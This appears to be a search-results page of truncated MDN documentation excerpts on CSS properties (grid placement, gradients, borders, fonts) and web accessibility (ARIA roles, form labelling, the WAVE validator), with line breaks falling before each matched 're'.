, the cell must be nested in an element with the role of row.aria: checkbox rolethe checkbox role is used for checkable interactive controls. elements containing role="checkbox" must also include the aria-checked attribute to expose the checkbox's state to assistive technology.aria: comment rolethe comment landmark role semantically denotes a comment/reaction to some content on the page, or to a p
revious comment.aria: complementary rolethe complementary landmark role is used to designate a supporting section that relates to the main content, yet can stand alone when separated. these sections are frequently presented as sidebars or call-out boxes. if possible, use the html <aside> element instead.aria: contentinfo rolethe contentinfo landmark role is used to identify information repeated at th...
Web applications and ARIA FAQ - Accessibility
nstead. progressbar.setattribute("value", percentcomplete); } progressbar.textcontent = percentcomplete + "% complete"; } function initdemo() { setupprogress(); // setup the progress bar. // bind a click handler to the button, which will update the progress bar to 75%. document.getelementbyid("update-button").addeventlistener("click", function (e) { updateprogress(75); e.p
reventdefault(); }, false); } initdemo(); how do assistive technologies work? assistive technologies use an api built into each operating system specifically designed to describe the roles, states, and structure of an application's user interface. for example, a screen reader uses this api to read the user interface with a text-to-speech engine, a magnifier uses it to highlight important or acti...
Basic form hints - Accessibility
sometimes have a description associated with them, in addition to the label. aria provides the aria-describedby attribute to directly associate the description with the control. the example below shows a <button> element that is described by a sentence in a separate <div> element. the aria-describedby attribute on the <button> references the id of the <div>. <button aria-describedby="description
revert">
revert</button> <div id="description
revert">
reverting will undo any changes that have been made since the last save.</div> note: the aria-describedby attribute is used for other purposes, in addition to form controls. required and invalid fields note: now that required is available to more than 97% of users globally, it is no longer recommended that you use b...
Multipart labels: Using ARIA for labels with embedded fields inside them - Accessibility
setting in firefox, it tells you “delete history after 21 days”?, followed by the announcement that you’re in a textbox, and that it contains the number 21. isn’t that cool? you do not need to navigate around to find out the unit. “days” could easily be “months” or “years”, and in many ordinary dialogs, there is no way to find this out other than navigating around with screen
reviewing commands. the solution is in an aria attribute called aria-labelledby. its parameter is a string that consists of the ids of the html elements you want to concatenate into a single accessible name. both aria-labelledby and aria-describedby are specified on the form element that is to be labelled, for example an <input> in both cases, the label for/label control bindings that may also exis...
Accessibility Information for Web Authors - Accessibility
ree online webpage accessibility validation service that identifies accessibility errors and reports accessibility warnings about webpage related to section 508 standards and/or the wcag guidelines. its purpose is to aid humans in the web accessibility evaluation process. rather than providing a complex technical report, wave 4.0 shows the original web page with embedded icons and indicators that
reveal the accessibility information within your page. you can get accessibity report for errors, warnings. you can view the structure and order view of the document. you can see a text-only view and and outline view of the document. you can install a custom wave toolbar in firefox for a quick, easy and convenient evaluation of web pages directly within firefox. you can also add a wave bookmarklet...
Perceivable - Accessibility
ou need to press. if there are multiple buttons, make sure they are all clearly labelled to distinguish their function. "listen to the audio instructions for guidance" this is obviously problematic—audio will be inaccessible to those with hearing impairments, whereas text can be read, but also spoken by a screenreader if required. "swipe from the right hand side of the screen to
reveal the menu" some users might not be able to swipe the screen, either due to disability or because their device does not support touch. an alternative should be provided, such as a keyboard shortcut or button that can be activated by keyboard or other means. note: conveying instructions solely by color is related, but covered in a different guideline — 1.4.1. ...
-moz-user-focus - CSS: Cascading Style Sheets
ritednocomputed valueas specifiedanimation typediscrete note: this property doesn't work for xul <xul:textbox> elements, because the textbox itself never takes focus. instead, xbl creates an anonymous html <input> element inside the textbox, and that element is what receives focus. you can stop the textbox from taking keyboard focus by setting its tab index to -1, and from taking mouse focus by p
reventing the default action of mousedown events. syntax values ignore the element does not accept the keyboard focus and will be skipped in the tab order. normal the element can accept the keyboard focus. select-after ? select-before ? select-menu ? select-same ? select-all ? none ? formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifieda...
:-moz-ui-invalid - CSS: Cascading Style Sheets
when it gained focus, re-validate on every keystroke. if the element is required, the preceding rules apply only if the user has changed the value or attempted to submit the form. the result is that if the control was valid when the user started interacting with it, the validity styling is changed only when the user shifts focus to another control. however, if the user is trying to correct a p
reviously-flagged value, the control shows immediately when the value becomes valid. required items have the pseudo-class applied only if the user changes them or attempts to submit an unchanged valid value. by default, gecko applies a style that creates a red "glow" (using the box-shadow property) around items, which have this pseudo-class applied. see the :invalid pseudo-class for an example that ...
:-moz-ui-valid - CSS: Cascading Style Sheets
when it gained focus, re-validate on every keystroke. if the element is required, the preceding rules apply only if the user has changed the value or attempted to submit the form. the result is that if the control was valid when the user started interacting with it, the validity styling is changed only when the user shifts focus to another control. however, if the user is trying to correct a p
reviously-flagged value, the control shows immediately when the value becomes valid. required items are flagged as invalid only if the user changes them or attempts to submit an unchanged invalid value. syntax syntax not found in db! specifications not part of any standard. ...
::-webkit-search-results-button - CSS: Cascading Style Sheets
the ::-webkit-search-results-button css pseudo-element represents a button (the "search results button") at the left edge of an <input> of type="search" which when clicked displays a menu which allows the user to choose from p
revious recent search queries. this button and pseudo-element are non-standard, supported only in webkit and blink, hence the vendor prefix. the search results button is only shown on search <input> elements that have a results attribute. syntax selector::-webkit-search-results-button specifications not part of any standard. ...
::before (:before) - CSS: Cascading Style Sheets
.5em; } li[aria-current='step'] { font-weight:bold; } li[aria-current='step']::after { content: " \21e6"; /* hexadecimal for unicode leftwards white arrow*/ display: inline; } result specifications specification status comment css pseudo-elements level 4the definition of '::before' in that specification. working draft no significant changes to the p
revious specification. css animations working draft allows animations on properties defined on pseudo-elements. selectors level 3the definition of '::before' in that specification. recommendation introduces the two-colon syntax. css level 2 (
revision 1)the definition of '::before' in that specification. recommendation initial definition, using the one-colo...
::first-letter (:first-letter) - CSS: Cascading Style Sheets
::first-letter' in that specification. candidate recommendation allows the use of text-shadow with ::first-letter. selectors level 3the definition of '::first-letter' in that specification. recommendation introduction of the two-colon syntax. definition of edge-case behavior, such as in list items or with specific languages (e.g., the dutch digraph ij). css level 2 (
revision 1)the definition of '::first-letter' in that specification. recommendation no change. css level 1the definition of '::first-letter' in that specification. recommendation initial definition, using the one-colon syntax. ...
::first-line (:first-line) - CSS: Cascading Style Sheets
nes the inheritance of ::first-letter. css text decoration module level 3the definition of 'text-shadow with ::first-line' in that specification. candidate recommendation allows the use of text-shadow with ::first-letter. selectors level 3the definition of '::first-line' in that specification. recommendation introduction of the two-colon syntax. css level 2 (
revision 1)the definition of '::first-line' in that specification. recommendation no change. css level 1the definition of '::first-line' in that specification. recommendation initial definition, using the one-colon syntax. ...
:active - CSS: Cascading Style Sheets
ications specification status comment html living standardthe definition of ':active' in that specification. living standard selectors level 4the definition of ':active' in that specification. working draft no change. selectors level 3the definition of ':active' in that specification. recommendation no change. css level 2 (
revision 1)the definition of ':active' in that specification. recommendation no change. css level 1the definition of ':active' in that specification. recommendation initial definition. ...
:first - CSS: Cascading Style Sheets
result press the "print!" button to print the example. the words on the first page should be somewhere around the center, while other pages will have their contents at the default position. specifications specification status comment css paged media module level 3the definition of ':first' in that specification. working draft no change. css level 2 (
revision 1)the definition of ':first' in that specification. recommendation initial definition. ...
:focus - CSS: Cascading Style Sheets
ion status comment html living standardthe definition of ':focus' in that specification. living standard defines html-specific semantics. selectors level 4the definition of ':focus' in that specification. working draft no change. selectors level 3the definition of ':focus' in that specification. recommendation no change. css level 2 (
revision 1)the definition of ':focus' in that specification. recommendation initial definition. ...
Block and inline layout in normal flow - CSS: Cascading Style Sheets
ype of flex, establishing the flex formatting context for the direct children. therefore you can think of every box in css working in this way. the box itself has an outer display type, so it knows how to behave alongside other boxes. it then has an inner display type which changes the way its children behave. those children then have an outer and inner display type too. the flex items in the p
revious example become flex level boxes, so their outer display type is dictated by way of them being part of the flex formatting context. they have an inner display type of flow however, meaning that their children participate in normal flow. items nested inside our flex item lay themselves out as block and inline elements unless something changes their display type. this concept of the outer and i...
CSS Generated Content - CSS: Cascading Style Sheets
ent of a dom node in very limited circumstances with a generated value. see the how to guide for generated content to learn more, and the content and quotes properties for implementation information. reference properties content quotes specifications specification status comment css generated content module level 3 working draft css level 2 (
revision 1) recommendation initial definition ...
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
to do this, add the property grid-auto-flow with a value of dense to the container. this is the same property you use to change the flow order to column, so if you were working in columns you would add both values grid-auto-flow: column dense. having done this, grid will now backfill the gaps, as it moves through the grid it leaves gaps as before, but then if it finds an item that will fit in a p
revious gap it will pick it up and take it out of dom order to place it in the gap. as with any other reordering in grid this does not change the logical order. tab order for example, will still follow the document order. we will take a look at the potential accessibility issues of grid layout in a later guide, but you should take care when creating this disconnect between the visual order and displa...
Basic Concepts of grid layout - CSS: Cascading Style Sheets
once placed into a grid area, and how the entire grid is aligned. control of overlapping content more than one item can be placed into a grid cell or area and, they can partially overlap each other. this layering may then be controlled with the z-index property. grid is a powerful specification that, when combined with other parts of css such as flexbox, can help you create layouts that were p
reviously impossible to build in css. it all starts by creating a grid in your grid container. the grid container we create a grid container by declaring display: grid or display: inline-grid on an element. as soon as we do this, all direct children of that element become grid items. in this example, i have a containing div with a class of wrapper and, inside are five child elements. <div class="...
Line-based placement with CSS Grid - CSS: Cascading Style Sheets
r guide but you can see as you work that grid is laying out un-placed items into empty cells of the grid. addressing each item individually we can place all four items spanning row and column tracks. note that we can leave cells empty if we wish. one of the very nice things about grid layout is this ability to have white space in our designs without having to push things around using margins to p
revent floats from rising up into the space we have left. * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; pad...
Realizing common layouts using CSS Grid Layout - CSS: Cascading Style Sheets
h a multiple-column layout system we usually think of blocks in terms of the number of tracks of the grid they span, and adjust that for different breakpoints. to see how the blocks align themselves to the tracks, use the firefox grid inspector. it clearly demonstrates how our items are placed. there are some key differences with how a grid layout works over the grid systems you may have used p
reviously. as you can see, we do not need to add any markup to create a row, grid systems need to do this to stop elements popping up into the row above. with css grid layout, we can place things into rows, with no danger of them rising up into the row above if it is left empty. due to this strict column and row placement we can also easily leave white space in our layout. we also don’t need specia...
Relationship of grid layout to other layout methods - CSS: Cascading Style Sheets
he item also doesn’t cause the additional row to be created to span to row line 3. if we remove position: absolute from the rules for .box3 you can see how it would display without the positioning. a grid container as parent if the absolutely positioned child has a grid container as a parent but that container does not create a new positioning context, then it is taken out of flow as in the p
revious example. the positioning context will be whatever element creates a positioning context as is common to other layout methods. in our case, if we remove position: relative from the wrapper above, positioning context is from the viewport, as shown in this image. once again the item no longer participates in the grid layout in terms of sizing or when other items are auto-placed. with a grid ...
Subgrid - CSS: Cascading Style Sheets
child spans. a subgrid in both dimensions you can of course define both rows and columns as a subgrid, as in the example below. this means that your subgrid is tied in both dimensions to the number of tracks on the parent. no implicit grid in a subgridded dimension if you need to autoplace items, and do not know how many items you will have, take care when creating a subgrid, as it will p
revent additional rows being created to hold those items. take a look at the next example — it uses the same parent and child grid as in the example above, however inside the subgrid i have twelve items trying to autoplace into ten grid cells. as the subgrid is on both dimensions there is nowhere for the extra two items to go and so they go into the last track of the grid, as defined in the specif...
Using CSS gradients - CSS: Cascading Style Sheets
means the size is set by the distance from the starting point (the center) to the closest side of the enclosing box. <div class="radial-ellipse-side"></div> div { width: 240px; height: 100px; } .radial-ellipse-side { background: radial-gradient(ellipse closest-side, red, yellow 10%, #1e90ff 50%, beige); } example: farthest-corner for ellipses this example is similar to the p
revious one, except that its size is specified as farthest-corner, which sets the size of the gradient by the distance from the starting point to the farthest corner of the enclosing box from the starting point. <div class="radial-ellipse-far"></div> div { width: 240px; height: 100px; } .radial-ellipse-far { background: radial-gradient(ellipse farthest-corner at 90% 90%, red, yellow...
CSS Images - CSS: Cascading Style Sheets
ndation added image-orientation, image-rendering, object-fit and object-position compatibility standardthe definition of 'css gradients' in that specification. living standard standardizes the -webkit prefixed gradient value functions css values and units module level 3the definition of '<url>' in that specification. candidate recommendation css level 2 (
revision 1)the definition of '<uri>' in that specification. recommendation css level 1the definition of '<url>' in that specification. recommendation initial definition ...
CSS Lists - CSS: Cascading Style Sheets
yle-type list-style-position list-style guides consistent list indentation explains how to achieve consistent list indentation across different browsers. using css counters explains how to use the css counter properties to control list counters. specifications specification status comment css lists module level 3 working draft css level 2 (
revision 1) recommendation initial definition ...
CSS Motion Path - CSS: Cascading Style Sheets
at your disposal, which wasn't ideal and only allowed for simple movements. with offset-path you can define a specific path of any shape you want. you then animate it along that path by animating offset-distance, and can choose to rotate it at any point using offset-rotate. ...
border-top - CSS: Cascading Style Sheets
t: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status comment css backgrounds and borders module level 3the definition of 'border-top' in that specification. candidate recommendation no direct changes, though the modification of values for the border-top-color do apply to it. css level 2 (
revision 1)the definition of 'border-top' in that specification. recommendation no significant changes. css level 1the definition of 'border-top' in that specification. recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/...
border - CSS: Cascading Style Sheets
s comment css backgrounds and borders module level 3the definition of 'border' in that specification. candidate recommendation removes specific support for transparent, as it is now a valid <color>; this has no practical impact. though it cannot be set to a custom value using the shorthand, border now resets border-image to its initial value (none). css level 2 (
revision 1)the definition of 'border' in that specification. recommendation accepts the inherit keyword. also accepts transparent as a valid color. css level 1the definition of 'border' in that specification. recommendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the d...
box-flex-group - CSS: Cascading Style Sheets
ents within the first flex group. each element within that group is given extra space based on the ratio of that element's flexibility compared to the flexibility of other elements within the same flex group. if the space of all flexible children within the group has been increased to the maximum, the process repeats for the children within the next flex group, using any space left over from the p
revious flex group. once there are no more flex groups, and there is still space remaining, the extra space is divided within the containing box according to the box-pack property. if the box would overflow after the preferred space of the children has been computed, then space is removed from flexible elements in a manner similar to that used when adding extra space. each flex group is examined in ...
box-ordinal-group - CSS: Cascading Style Sheets
hich the direct children of a box appear. when the computed box-direction is normal, a box will display its elements starting from the lowest numbered ordinal group and ensure that those elements appear to the left (for horizontal boxes) or at the top (for vertical boxes) of the container. elements with the same ordinal group are flowed in the order they appear in the source document tree. in the
reverse direction, the ordinal groups are examined in the same order, except the elements appear
reversed. syntax the box-ordinal-group property is specified as any positive <integer>. formal definition initial value1applies tochildren of box elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <integer> examples basic usage example in an older version of the spe...
box-pack - CSS: Cascading Style Sheets
the end, leaving any extra space at the start. justify the space is divided evenly in-between each child, with none of the extra space placed before the first child or after the last child. if there is only one child, treat the value as if it were start. notes the edge of the box designated the start for packing purposes depends on the box's orientation and direction: normal
reverse horizontal left right vertical top bottom the edge opposite to the start is designated the end. if the packing is set using the element's pack attribute, then the style is ignored. formal definition initial valuestartapplies toelements with a css display value of -moz-box, -moz-inline-box, -webkit-box or -webkit-inline-boxinheritednocomputed valueas spe...
break-after - CSS: Cascading Style Sheets
to determine if a break must be done, the following rules are applied: if any of the three concerned values is a forced break value (always, left, right, page, column, or region), it has precedence. if more than one of them are such a break, the one of the element that appears the la...
break-before - CSS: Cascading Style Sheets
to determine if a break must be done, the following rules are applied: if any of the three concerned values is a forced break value (always, left, right, page, column, or region), it has precedence. if more than one of them are such a break, the one of the element that appears the la...
caption-side - CSS: Cascading Style Sheets
ion { caption-side: bottom; } table { border: 1px solid red; } td { border: 1px solid blue; } result specifications specification status comment css logical properties and values level 1the definition of 'caption-side' in that specification. editor's draft defines the top and bottom values as relative to the writing-mode value. css level 2 (
revision 1)the definition of 'caption-side' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandr...
clear - CSS: Cascading Style Sheets
r: black; color: #fff; width:20%; } .red { float: right; margin: 0; background-color: pink; width:20%; } p { width: 45%; } specifications specification status comment css logical properties and values level 1the definition of 'float and clear' in that specification. editor's draft adds the values inline-start and inline-end css level 2 (
revision 1)the definition of 'clear' in that specification. recommendation no significant changes, though details are clarified. css level 1the definition of 'clear' in that specification. recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out...
color - CSS: Cascading Style Sheets
adds color keyword rebeccapurple. adds 4- and 8-digit hex color values, where the last digit(s) represents the alpha value. adds hwb(), device-cmyk(), and color() functions. css color module level 3the definition of 'color' in that specification. recommendation deprecates system-colors. adds svg colors. adds the rgba(), hsl(), and hsla() functions. css level 2 (
revision 1)the definition of 'color' in that specification. recommendation adds the orange color and the system colors. css level 1the definition of 'color' in that specification. recommendation initial definition. ...
column-rule - CSS: Cascading Style Sheets
s://github.com/mdn/interactive-examples and send us a pull request. it is a shorthand property that sets the individual column-rule-* properties in a single, convenient declaration: column-rule-width, column-rule-style, and column-rule-color. note: as with all shorthand properties, any individual value that is not specified is set to its corresponding initial value (possibly overriding values p
reviously set using non-shorthand properties). syntax column-rule: dotted; column-rule: solid 8px; column-rule: solid blue; column-rule: thick inset blue; /* global values */ column-rule: inherit; column-rule: initial; column-rule: unset; the column-rule property is specified as one, two, or three of the values listed below, in any order. values <'column-rule-width'> is a <length> or one o...
conic-gradient() - CSS: Cascading Style Sheets
ition colors stops. the following two declarations are equivalent: conic-gradient(#fff 0.09turn, #bbb 0.09turn, #bbb 0.27turn, #666 0.27turn, #666 0.54turn, #000 0.54turn); conic-gradient(#fff 0turn 0.09turn, #bbb 0.09turn 0.27turn, #666 0.27turn 0.54turn, #000 0.54turn 1turn); color stops should be listed in ascending order. subsequent color stops of lower value will override the value of the p
revious color stop creating a hard transition. the following changes from red to yellow at the 30% mark, and then transitions from yellow to blue over 35% of the gradient conic-gradient(red .8rad, yellow .6rad, blue 1.3rad); there are other effects you can create with conic gradients. oddly, a checkerboard is one of them. by creating quadrants with an upper left and lower right white quadrant and ...
contain - CSS: Cascading Style Sheets
element and its contents are, as much as possible, independent of the rest of the document tree. this allows the browser to recalculate layout, style, paint, size, or any combination of them for a limited area of the dom and not the entire page, leading to obvious performance benefits. this property is useful on pages that contain a lot of widgets that are all independent, as it can be used to p
revent each widget's internals from having side effects outside of the widget's bounding-box. note: if applied (with value: paint, strict or content), this property creates: a new containing block (for the descendants whose position property is absolute or fixed). a new stacking context. a new block formatting context. syntax /* keyword values */ contain: none; contain: strict; contain: co...
direction - CSS: Cascading Style Sheets
oall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax ltr | rtl examples setting right-to-left direction blockquote { direction: rtl; } specifications specification status comment css writing modes module level 3the definition of 'direction' in that specification. proposed recommendation no change. css level 2 (
revision 1)the definition of 'direction' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroi...
display - CSS: Cascading Style Sheets
added ruby, ruby-base, ruby-text, ruby-base-container, and ruby-text-container. css grid layoutthe definition of 'display' in that specification. candidate recommendation added the grid box model values. css flexible box layout modulethe definition of 'display' in that specification. candidate recommendation added the flexible box model values. css level 2 (
revision 1)the definition of 'display' in that specification. recommendation added the table model values and inline-block. css level 1the definition of 'display' in that specification. recommendation initial definition. basic values: none, block, inline, and list-item. ...
empty-cells - CSS: Cascading Style Sheets
recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroi...
flex-basis - CSS: Cascading Style Sheets
t. the equivalent effect can be had by using auto together with a main size (width or height) of auto. history: originally, flex-basis:auto meant "look at my width or height property". then, flex-basis:auto was changed to mean automatic sizing, and "main-size" was introduced as the "look at my width or height property" keyword. it was implemented in bug 1032922. then, that change was
reverted in bug 1093316, so auto once again means "look at my width or height property"; and a new content keyword is being introduced to trigger automatic sizing. (bug 1105111 covers adding that keyword). formal definition initial valueautoapplies toflex items, including in-flow pseudo-elementsinheritednopercentagesrefer to the flex container's inner main sizecomputed valueas specified, but...
float - CSS: Cascading Style Sheets
. for instance, you may want paragraphs to remain adjacent to floats, but force headings to be on their own line. see clear for examples. specifications specification status comment css logical properties and values level 1the definition of 'float and clear' in that specification. editor's draft adds the values inline-start and inline-end. css level 2 (
revision 1)the definition of 'float' in that specification. recommendation no change css level 1the definition of 'float' in that specification. recommendation initial definition ...
font-family - CSS: Cascading Style Sheets
ts module level 4the definition of 'generic font families' in that specification. working draft adds new generic font families, specifically: system-ui, ui-serif, ui-sans-serif, ui-monospace, ui-rounded, emoji, math, and fangsong. css fonts module level 3the definition of 'font-family' in that specification. candidate recommendation no significant change css level 2 (
revision 1)the definition of 'font-family' in that specification. recommendation no significant change css level 1the definition of 'font-family' in that specification. recommendation initial definition ...
font-style - CSS: Cascading Style Sheets
font-style: oblique; } specifications specification status comment css fonts module level 4the definition of 'font-style' in that specification. working draft adds the ability to specify an angle after oblique css fonts module level 3the definition of 'font-style' in that specification. candidate recommendation no change css level 2 (
revision 1)the definition of 'font-style' in that specification. recommendation no change css level 1the definition of 'font-style' in that specification. recommendation initial definition ...
font-variant-ligatures - CSS: Cascading Style Sheets
these ligatures. <contextual-alt-values> these values control whether letters adapt to their context—that is, whether they adapt to the surrounding letters. these values correspond to the opentype values calt. two values are possible: contextual specifies that the contextual alternates are to be used. note that the keyword normal usually activates these ligatures too. no-contextual p
revents their use. formal definition initial valuenormalapplies toall elements. it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | none | [ <common-lig-values> || <discretionary-lig-values> || <historical-lig-values> || <contextual-alt-values> ]where <common-lig-values> = [ common-ligatures | no-common-ligatu...
font-weight - CSS: Cascading Style Sheets
} result specifications specification status comment css fonts module level 4the definition of 'font-weight' in that specification. working draft defines font-weight to accept any numbers between 1 and 1000. css fonts module level 3the definition of 'font-weight' in that specification. candidate recommendation no change. css level 2 (
revision 1)the definition of 'font-weight' in that specification. recommendation no change. css level 1the definition of 'font-weight' in that specification. recommendation initial definition. ...
<gradient> - CSS: Cascading Style Sheets
cessary to fill a given area. they are generated with the repeating-linear-gradient() and repeating-radial-gradient() functions. conic gradient conic gradients transition colors progressively around a circle. they are generated with the conic-gradient() function. interpolation as with any interpolation involving colors, gradients are calculated in the alpha-premultiplied color space. this p
revents unexpected shades of gray from appearing when both the color and the opacity are changing. (be aware that older browsers may not use this behavior when using the transparent keyword.) examples linear gradient example a simple linear gradient. <div class="linear-gradient">linear gradient</div> div { width: 240px; height: 80px; } .linear-gradient { background: linear-gradient(to ...
grid-area - CSS: Cascading Style Sheets
grid-area: foo; will choose the start/end edge of that named grid area (unless another line named foo-start/foo-end was explicitly specified before it). otherwise, this is treated as if the integer 1 had been specified along with the <custom-ident>. <integer> && <custom-ident>? contributes the nth grid line to the grid item’s placement. if a negative integer is given, it instead counts in
reverse, starting from the end edge of the explicit grid. if a name is given as a <custom-ident>, only lines with that name are counted. if not enough lines with that name exist, all implicit grid lines are assumed to have that name for the purpose of finding this position. an <integer> value of 0 is invalid. span && [ <integer> || <custom-ident> ] contributes a grid span to the grid item’s ...
grid-column-end - CSS: Cascading Style Sheets
pecifying grid-column-end: foo; will choose the end edge of that named grid area (unless another line named foo-end was explicitly specified before it). otherwise, this is treated as if the integer 1 had been specified along with the <custom-ident>. <integer> && <custom-ident>? contributes the nth grid line to the grid item’s placement. if a negative integer is given, it instead counts in
reverse, starting from the end edge of the explicit grid. if a name is given as a <custom-ident>, only lines with that name are counted. if not enough lines with that name exist, all implicit grid lines are assumed to have that name for the purpose of finding this position. an <integer> value of 0 is invalid. span && [ <integer> || <custom-ident> ] contributes a grid span to the grid item’s ...
grid-column-start - CSS: Cascading Style Sheets
specifying grid-column-start: foo; will choose the start edge of that named grid area (unless another line named foo-start was explicitly specified before it). otherwise, this is treated as if the integer 1 had been specified along with the <custom-ident>. <integer> && <custom-ident>? contributes the nth grid line to the grid item’s placement. if a negative integer is given, it counts in
reverse, starting from the end edge of the explicit grid. if a name is given as a <custom-ident>, only lines with that name are counted. if not enough lines with that name exist, all implicit grid lines are assumed to have that name for the purpose of finding this position. an <integer> value of 0 is invalid. span && [ <integer> || <custom-ident> ] contributes a grid span to the grid item’s ...
grid-column - CSS: Cascading Style Sheets
id-column: foo; will choose the start/end edge of that named grid area (unless another line named foo-start/foo-end was explicitly specified before it). otherwise, this is treated as if the integer 1 had been specified along with the <custom-ident>. <integer> && <custom-ident>? contributes the nth grid line to the grid item’s placement. if a negative integer is given, it instead counts in
reverse, starting from the end edge of the explicit grid. if a name is given as a <custom-ident>, only lines with that name are counted. if not enough lines with that name exist, all implicit grid lines are assumed to have that name for the purpose of finding this position. an <integer> value of 0 is invalid. span && [ <integer> || <custom-ident> ] contributes a grid span to the grid item’s ...
grid-row-end - CSS: Cascading Style Sheets
nd edge of that named grid area (unless another line named foo-end was explicitly specified before it). otherwise, this is treated as if the integer 1 had been specified along with the <custom-ident>. the <custom-ident> cannot take the span value. <integer> && <custom-ident>? contributes the nth grid line to the grid item’s placement. if a negative integer is given, it instead counts in
reverse, starting from the end edge of the explicit grid. if a name is given as a <custom-ident>, only lines with that name are counted. if not enough lines with that name exist, all implicit grid lines are assumed to have that name for the purpose of finding this position. an <integer> value of 0 is invalid. span && [ <integer> || <custom-ident> ] contributes a grid span to the grid item’s ...
grid-row-start - CSS: Cascading Style Sheets
ifying grid-row-start: foo; will choose the start edge of that named grid area (unless another line named foo-start was explicitly specified before it). otherwise, this is treated as if the integer 1 had been specified along with the <custom-ident>. <integer> && <custom-ident>? contributes the nth grid line to the grid item’s placement. if a negative integer is given, it instead counts in
reverse, starting from the end edge of the explicit grid. if a name is given as a <custom-ident>, only lines with that name are counted. if not enough lines with that name exist, all implicit grid lines are assumed to have that name for the purpose of finding this position. an <integer> value of 0 is invalid. span && [ <integer> || <custom-ident> ] contributes a grid span to the grid item’s ...
grid-row - CSS: Cascading Style Sheets
grid-row: foo; will choose the start/end edge of that named grid area (unless another line named foo-start/foo-end was explicitly specified before it). otherwise, this is treated as if the integer 1 had been specified along with the <custom-ident>. <integer> && <custom-ident>? contributes the nth grid line to the grid item’s placement. if a negative integer is given, it instead counts in
reverse, starting from the end edge of the explicit grid. if a name is given as a <custom-ident>, only lines with that name are counted. if not enough lines with that name exist, all implicit grid lines are assumed to have that name for the purpose of finding this position. an <integer> value of 0 is invalid. span && [ <integer> || <custom-ident> ] contributes a grid span to the grid item’s ...
grid-template - CSS: Cascading Style Sheets
specified after the slash (or none, if not specified). note: the repeat() function isn’t allowed in these track listings, as the tracks are intended to visually line up one-to-one with the rows/columns in the “ascii art”. note: the grid shorthand accepts the same syntax, but also resets the implicit grid properties to their initial values. use grid (as opposed to grid-template) to p
revent these values from cascading in seperately. formal definition initial valueas each of the properties of the shorthand:grid-template-columns: nonegrid-template-rows: nonegrid-template-areas: noneapplies togrid containersinheritednopercentagesas each of the properties of the shorthand:grid-template-columns: refer to corresponding dimension of the content areagrid-template-rows: refer to corresp...
height - CSS: Cascading Style Sheets
ght: 50%; width: 75%; } result specifications specification status comment css box sizing module level 4the definition of 'height' in that specification. editor's draft css box sizing module level 3the definition of 'height' in that specification. working draft added the max-content, min-content, fit-content keywords. css level 2 (
revision 1)the definition of 'height' in that specification. recommendation adds support for the <length> values and precises on which element it applies to. css level 1the definition of 'height' in that specification. recommendation initial definition. ...
hyphens - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. hyphenation rules are language-specific. ...
image() - CSS: Cascading Style Sheets
his div has a darkened logo</div> the above will put a semi-transparent black mask over the firefox logo background image. had we used the background-color property instead, the color would have appeared behind the logo image instead of on top of it. additionally, the entire container would have had the same background color. because we used image() along with the background-size property (and p
revented the image from repeating with the background-repeat property, the color swatch will only cover a quarter of the container. specifications specification status comment css images module level 4the definition of 'image()' in that specification. working draft initial definition ...
inherit - CSS: Cascading Style Sheets
would be blue. specifications specification status comment css cascading and inheritance level 4the definition of 'inherit' in that specification. candidate recommendation no changes from level 3. css values and units module level 3the definition of 'inherit' in that specification. candidate recommendation no significant change from css level 2 (
revision 1). css level 2 (
revision 1)the definition of 'inherit' in that specification. recommendation initial definition. ...
Initial value - CSS: Cascading Style Sheets
initial value is used on all elements, as long as no specified value is supplied. you can explicitly specify the initial value by using the initial keyword. note: the initial value should not be confused with the value specified by the browser's style sheet. specifications specification status comment css cascade 4 formal definition. css level 2 (
revision 1)the definition of 'initial value' in that specification. recommendation implicit definition. ...
orphans - CSS: Cascading Style Sheets
3; orphans: 3; } p { background-color: #8ca0ff; } p:first-child { margin-top: 0; } result specifications specification status comment css fragmentation module level 3the definition of 'orphans' in that specification. candidate recommendation extends orphans to apply to any type of fragment, including pages, regions, or columns. css level 2 (
revision 1)the definition of 'orphans' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid w...
outline-color - CSS: Cascading Style Sheets
you can see.</p> css p { outline: 2px solid; /* set the outline width and style */ outline-color: #0000ff; /* make the outline blue */ margin: 5px; } result specifications specification status comment css basic user interface module level 3the definition of 'outline-color' in that specification. recommendation no change. css level 2 (
revision 1)the definition of 'outline-color' in that specification. recommendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariand...
overflow-anchor - CSS: Cascading Style Sheets
obal values */ overflow-anchor: inherit; overflow-anchor: initial; overflow-anchor: unset; values auto the element becomes a potential anchor when adjusting scroll position. none the element won't be selected as a potential anchor. formal definition initial valueautoapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | none examples p
revent scroll anchoring to p
